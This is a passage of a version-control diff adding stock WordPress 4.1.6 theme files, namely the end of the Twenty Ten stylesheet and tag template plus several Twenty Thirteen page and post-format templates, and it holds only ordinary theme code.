+	border-top: 1px solid #e7e7e7;
+	margin: 24px 0;
+	overflow: hidden;
+	position: relative;
+}
+#respond p {
+	margin: 0;
+}
+#respond .comment-notes {
+	margin-bottom: 1em;
+}
+.form-allowed-tags {
+	line-height: 1em;
+}
+.children #respond {
+	margin: 0 48px 0 0;
+}
+h3#reply-title {
+	margin: 18px 0;
+}
+#comments-list #respond {
+	margin: 0 0 18px 0;
+}
+#comments-list ul #respond {
+	margin: 0;
+}
+#cancel-comment-reply-link {
+	font-size: 12px;
+	font-weight: normal;
+	line-height: 18px;
+}
+#respond .required {
+	color: #ff4b33;
+	font-weight: bold;
+}
+#respond label {
+	color: #777;
+	font-size: 12px;
+}
+#respond input {
+	margin: 0 0 9px;
+	width: 98%;
+}
+#respond textarea {
+	width: 98%;
+}
+#respond .form-allowed-tags {
+	color: #777;
+	font-size: 12px;
+	line-height: 18px;
+}
+#respond .form-allowed-tags code {
+	font-size: 11px;
+}
+#respond .form-submit {
+	margin: 12px 0;
+}
+#respond .form-submit input {
+	font-size: 14px;
+	width: auto;
+}
+
+
+/* =Widget Areas
+-------------------------------------------------------------- */
+
+.widget-area ul {
+	list-style: none;
+	margin-left: 0;
+}
+.widget-area ul ul {
+	list-style: square;
+	margin-left: 1.3em;
+}
+.widget-area select {
+	max-width: 100%;
+}
+.widget_search #s {/* This keeps the search inputs in line */
+	width: 60%;
+}
+.widget_search label {
+	display: none;
+}
+.widget-container {
+	word-wrap: break-word;
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	hyphens: auto;
+	margin: 0 0 18px 0;
+}
+.widget-container .wp-caption img {
+	margin: auto;
+}
+.widget-title {
+	color: #222;
+	font-weight: bold;
+}
+.widget-area a:link,
+.widget-area a:visited {
+	text-decoration: none;
+}
+.widget-area a:active,
+.widget-area a:hover {
+	text-decoration: underline;
+}
+.widget-area .entry-meta {
+	font-size: 11px;
+}
+#wp_tag_cloud div {
+	line-height: 1.6em;
+}
+#wp-calendar {
+	width: 100%;
+}
+#wp-calendar caption {
+	color: #222;
+	font-size: 14px;
+	font-weight: bold;
+	padding-bottom: 4px;
+	text-align: left;
+}
+#wp-calendar thead {
+	font-size: 11px;
+}
+#wp-calendar thead th {
+}
+#wp-calendar tbody {
+	color: #aaa;
+}
+#wp-calendar tbody td {
+	background: #f5f5f5;
+	border: 1px solid #fff;
+	padding: 3px 0 2px;
+	text-align: center;
+}
+#wp-calendar tbody .pad {
+	background: none;
+}
+#wp-calendar tfoot #next {
+	text-align: right;
+}
+.widget_rss a.rsswidget {
+	color: #000;
+}
+.widget_rss a.rsswidget:hover {
+	color: #ff4b33;
+}
+.widget_rss .widget-title img {
+	width: 11px;
+	height: 11px;
+}
+
+/* Main sidebars */
+#main .widget-area ul {
+	margin-left: 0;
+	padding: 0 20px 0 0;
+}
+#main .widget-area ul ul {
+	border: none;
+	margin-left: 1.3em;
+	padding: 0;
+}
+#primary {
+}
+#secondary {
+}
+
+/* Footer widget areas */
+#footer-widget-area {
+}
+
+
+/* =Footer
+-------------------------------------------------------------- */
+
+#footer {
+	margin-bottom: 20px;
+}
+#colophon {
+	border-top: 4px solid #000;
+	margin-top: -4px;
+	overflow: hidden;
+	padding: 18px 0;
+}
+#site-info {
+	font-weight: bold;
+}
+#site-info a {
+	color: #000;
+	text-decoration: none;
+}
+#site-generator {
+	font-style: italic;
+	position: relative;
+}
+#site-generator a {
+	background: url(images/wordpress.png) center left no-repeat;
+	color: #666;
+	display: inline-block;
+	line-height: 16px;
+	padding-left: 20px;
+	text-decoration: none;
+}
+#site-generator a:hover {
+	text-decoration: underline;
+}
+img#wpstats {
+	display: block;
+	margin: 0 auto 10px;
+}
+
+
+/* =Mobile Safari ( iPad, iPhone and iPod Touch )
+-------------------------------------------------------------- */
+
+pre {
+	-webkit-text-size-adjust: 140%;
+}
+code {
+	-webkit-text-size-adjust: 160%;
+}
+#access,
+.entry-meta,
+.entry-utility,
+.navigation,
+.widget-area {
+	-webkit-text-size-adjust: 120%;
+}
+#site-description {
+	-webkit-text-size-adjust: none;
+}
+
+
+/* =Print Style
+-------------------------------------------------------------- */
+
+@media print {
+	body {
+		background: none !important;
+	}
+	#wrapper {
+		clear: both !important;
+		display: block !important;
+		float: none !important;
+		position: relative !important;
+	}
+	#header {
+		border-bottom: 2pt solid #000;
+		padding-bottom: 18pt;
+	}
+	#colophon {
+		border-top: 2pt solid #000;
+	}
+	#site-title,
+	#site-description {
+		float: none;
+		line-height: 1.4em;
+		margin: 0;
+		padding: 0;
+	}
+	#site-title {
+		font-size: 13pt;
+	}
+	.entry-content {
+		font-size: 14pt;
+		line-height: 1.6em;
+	}
+	.entry-title {
+		font-size: 21pt;
+	}
+	#access,
+	#branding img,
+	#respond,
+	.comment-edit-link,
+	.edit-link,
+	.navigation,
+	.page-link,
+	.widget-area {
+		display: none !important;
+	}
+	#container,
+	#header,
+	#footer {
+		margin: 0;
+		width: 100%;
+	}
+	#content,
+	.one-column #content {
+		margin: 24pt 0 0;
+		width: 100%;
+	}
+	.wp-caption p {
+		font-size: 11pt;
+	}
+	#site-info,
+	#site-generator {
+		float: none;
+		width: auto;
+	}
+	#colophon {
+		width: auto;
+	}
+	img#wpstats {
+		display: none;
+	}
+	#site-generator a {
+		margin: 0;
+		padding: 0;
+	}
+	#entry-author-info {
+		border: 1px solid #e7e7e7;
+	}
+	#main {
+		display: inline;
+	}
+	.home .sticky {
+		border: none;
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyten/tag.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/tag.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/tag.php	(revision 33402)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * Template for displaying Tag Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+				<h1 class="page-title"><?php
+					printf( __( 'Tag Archives: %s', 'twentyten' ), '<span>' . single_tag_title( '', false ) . '</span>' );
+				?></h1>
+
+<?php
+/*
+ * Run the loop for the tag archive to output the posts
+ * If you want to overload this in a child theme then include a file
+ * called loop-tag.php and that will be used instead.
+ */
+ get_template_part( 'loop', 'tag' );
+?>
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/404.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/404.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/404.php	(revision 33402)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * The template for displaying 404 pages (Not Found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<header class="page-header">
+				<h1 class="page-title"><?php _e( 'Not Found', 'twentythirteen' ); ?></h1>
+			</header>
+
+			<div class="page-wrapper">
+				<div class="page-content">
+					<h2><?php _e( 'This is somewhat embarrassing, isn&rsquo;t it?', 'twentythirteen' ); ?></h2>
+					<p><?php _e( 'It looks like nothing was found at this location. Maybe try a search?', 'twentythirteen' ); ?></p>
+
+					<?php get_search_form(); ?>
+				</div><!-- .page-content -->
+			</div><!-- .page-wrapper -->
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/archive.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/archive.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/archive.php	(revision 33402)
@@ -0,0 +1,55 @@
+<?php
+/**
+ * The template for displaying Archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * If you'd like to further customize these archive views, you may create a
+ * new template file for each specific one. For example, Twenty Thirteen
+ * already has tag.php for Tag archives, category.php for Category archives,
+ * and author.php for Author archives.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php
+					if ( is_day() ) :
+						printf( __( 'Daily Archives: %s', 'twentythirteen' ), get_the_date() );
+					elseif ( is_month() ) :
+						printf( __( 'Monthly Archives: %s', 'twentythirteen' ), get_the_date( _x( 'F Y', 'monthly archives date format', 'twentythirteen' ) ) );
+					elseif ( is_year() ) :
+						printf( __( 'Yearly Archives: %s', 'twentythirteen' ), get_the_date( _x( 'Y', 'yearly archives date format', 'twentythirteen' ) ) );
+					else :
+						_e( 'Archives', 'twentythirteen' );
+					endif;
+				?></h1>
+			</header><!-- .archive-header -->
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/author-bio.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/author-bio.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/author-bio.php	(revision 33402)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * The template for displaying Author bios
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<div class="author-info">
+	<div class="author-avatar">
+		<?php
+		/**
+		 * Filter the author bio avatar size.
+		 *
+		 * @since Twenty Thirteen 1.0
+		 *
+		 * @param int $size The avatar height and width size in pixels.
+		 */
+		$author_bio_avatar_size = apply_filters( 'twentythirteen_author_bio_avatar_size', 74 );
+		echo get_avatar( get_the_author_meta( 'user_email' ), $author_bio_avatar_size );
+		?>
+	</div><!-- .author-avatar -->
+	<div class="author-description">
+		<h2 class="author-title"><?php printf( __( 'About %s', 'twentythirteen' ), get_the_author() ); ?></h2>
+		<p class="author-bio">
+			<?php the_author_meta( 'description' ); ?>
+			<a class="author-link" href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+				<?php printf( __( 'View all posts by %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ), get_the_author() ); ?>
+			</a>
+		</p>
+	</div><!-- .author-description -->
+</div><!-- .author-info -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/author.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/author.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/author.php	(revision 33402)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying Author archive pages
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<?php
+				/*
+				 * Queue the first post, that way we know what author
+				 * we're dealing with (if that is the case).
+				 *
+				 * We reset this later so we can run the loop
+				 * properly with a call to rewind_posts().
+				 */
+				the_post();
+			?>
+
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'All posts by %s', 'twentythirteen' ), '<span class="vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>' ); ?></h1>
+			</header><!-- .archive-header -->
+
+			<?php
+				/*
+				 * Since we called the_post() above, we need to
+				 * rewind the loop back to the beginning that way
+				 * we can run the loop properly, in full.
+				 */
+				rewind_posts();
+			?>
+
+			<?php if ( get_the_author_meta( 'description' ) ) : ?>
+				<?php get_template_part( 'author-bio' ); ?>
+			<?php endif; ?>
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/category.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/category.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/category.php	(revision 33402)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * The template for displaying Category pages
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Category Archives: %s', 'twentythirteen' ), single_cat_title( '', false ) ); ?></h1>
+
+				<?php if ( category_description() ) : // Show an optional category description ?>
+				<div class="archive-meta"><?php echo category_description(); ?></div>
+				<?php endif; ?>
+			</header><!-- .archive-header -->
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/comments.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/comments.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/comments.php	(revision 33402)
@@ -0,0 +1,59 @@
+<?php
+/**
+ * The template for displaying Comments
+ *
+ * The area of the page that contains comments and the comment form.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+/*
+ * If the current post is protected by a password and the visitor has not yet
+ * entered the password we will return early without loading the comments.
+ */
+if ( post_password_required() )
+	return;
+?>
+
+<div id="comments" class="comments-area">
+
+	<?php if ( have_comments() ) : ?>
+		<h2 class="comments-title">
+			<?php
+				printf( _nx( 'One thought on &ldquo;%2$s&rdquo;', '%1$s thoughts on &ldquo;%2$s&rdquo;', get_comments_number(), 'comments title', 'twentythirteen' ),
+					number_format_i18n( get_comments_number() ), '<span>' . get_the_title() . '</span>' );
+			?>
+		</h2>
+
+		<ol class="comment-list">
+			<?php
+				wp_list_comments( array(
+					'style'       => 'ol',
+					'short_ping'  => true,
+					'avatar_size' => 74,
+				) );
+			?>
+		</ol><!-- .comment-list -->
+
+		<?php
+			// Are there comments to navigate through?
+			if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) :
+		?>
+		<nav class="navigation comment-navigation" role="navigation">
+			<h1 class="screen-reader-text section-heading"><?php _e( 'Comment navigation', 'twentythirteen' ); ?></h1>
+			<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentythirteen' ) ); ?></div>
+			<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentythirteen' ) ); ?></div>
+		</nav><!-- .comment-navigation -->
+		<?php endif; // Check for comment navigation ?>
+
+		<?php if ( ! comments_open() && get_comments_number() ) : ?>
+		<p class="no-comments"><?php _e( 'Comments are closed.' , 'twentythirteen' ); ?></p>
+		<?php endif; ?>
+
+	<?php endif; // have_comments() ?>
+
+	<?php comment_form(); ?>
+
+</div><!-- #comments -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content-aside.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content-aside.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content-aside.php	(revision 33402)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * The template for displaying posts in the Aside post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php if ( is_single() ) : ?>
+			<?php twentythirteen_entry_meta(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+			<?php if ( get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+				<?php get_template_part( 'author-bio' ); ?>
+			<?php endif; ?>
+
+		<?php else : ?>
+			<?php twentythirteen_entry_date(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+		<?php endif; // is_single() ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content-audio.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content-audio.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content-audio.php	(revision 33402)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * The template for displaying posts in the Audio post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<div class="audio-content">
+			<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+		</div><!-- .audio-content -->
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content-chat.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content-chat.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content-chat.php	(revision 33402)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * The template for displaying posts in the Chat post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content-gallery.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content-gallery.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content-gallery.php	(revision 33402)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * The template for displaying posts in the Gallery post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php if ( is_single() || ! get_post_gallery() ) : ?>
+			<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+		<?php else : ?>
+			<?php echo get_post_gallery(); ?>
+		<?php endif; // is_single() ?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+
+		<?php if ( comments_open() && ! is_single() ) : ?>
+		<span class="comments-link">
+			<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'twentythirteen' ) . '</span>', __( 'One comment so far', 'twentythirteen' ), __( 'View all % comments', 'twentythirteen' ) ); ?>
+		</span><!-- .comments-link -->
+		<?php endif; // comments_open() ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content-image.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content-image.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content-image.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * The template for displaying posts in the Image post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_single() ) : ?>
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+		<?php else : ?>
+		<h1 class="entry-title">
+			<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+		</h1>
+		<?php endif; // is_single() ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+
+		<?php if ( comments_open() && ! is_single() ) : ?>
+		<span class="comments-link">
+			<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'twentythirteen' ) . '</span>', __( 'One comment so far', 'twentythirteen' ), __( 'View all % comments', 'twentythirteen' ) ); ?>
+		</span><!-- .comments-link -->
+		<?php endif; // comments_open() ?>
+		<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( is_single() && get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content-link.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content-link.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content-link.php	(revision 33402)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * The template for displaying posts in the Link post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<h1 class="entry-title">
+			<a href="<?php echo esc_url( twentythirteen_get_link_url() ); ?>"><?php the_title(); ?></a>
+		</h1>
+
+		<div class="entry-meta">
+			<?php twentythirteen_entry_date(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php if ( is_single() ) : ?>
+	<footer class="entry-meta">
+		<?php twentythirteen_entry_meta(); ?>
+		<?php if ( get_the_author_meta( 'description' ) && is_multi_author() ) : ?>
+			<?php get_template_part( 'author-bio' ); ?>
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+	<?php endif; // is_single() ?>
+</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content-none.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content-none.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content-none.php	(revision 33402)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * The template for displaying a "No posts found" message
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<header class="page-header">
+	<h1 class="page-title"><?php _e( 'Nothing Found', 'twentythirteen' ); ?></h1>
+</header>
+
+<div class="page-content">
+	<?php if ( is_home() && current_user_can( 'publish_posts' ) ) : ?>
+
+	<p><?php printf( __( 'Ready to publish your first post? <a href="%1$s">Get started here</a>.', 'twentythirteen' ), admin_url( 'post-new.php' ) ); ?></p>
+
+	<?php elseif ( is_search() ) : ?>
+
+	<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with different keywords.', 'twentythirteen' ); ?></p>
+	<?php get_search_form(); ?>
+
+	<?php else : ?>
+
+	<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentythirteen' ); ?></p>
+	<?php get_search_form(); ?>
+
+	<?php endif; ?>
+</div><!-- .page-content -->
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/content-quote.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/content-quote.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/content-quote.php	(revision 33402)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * The template for displaying posts in the Quote post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentythirteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
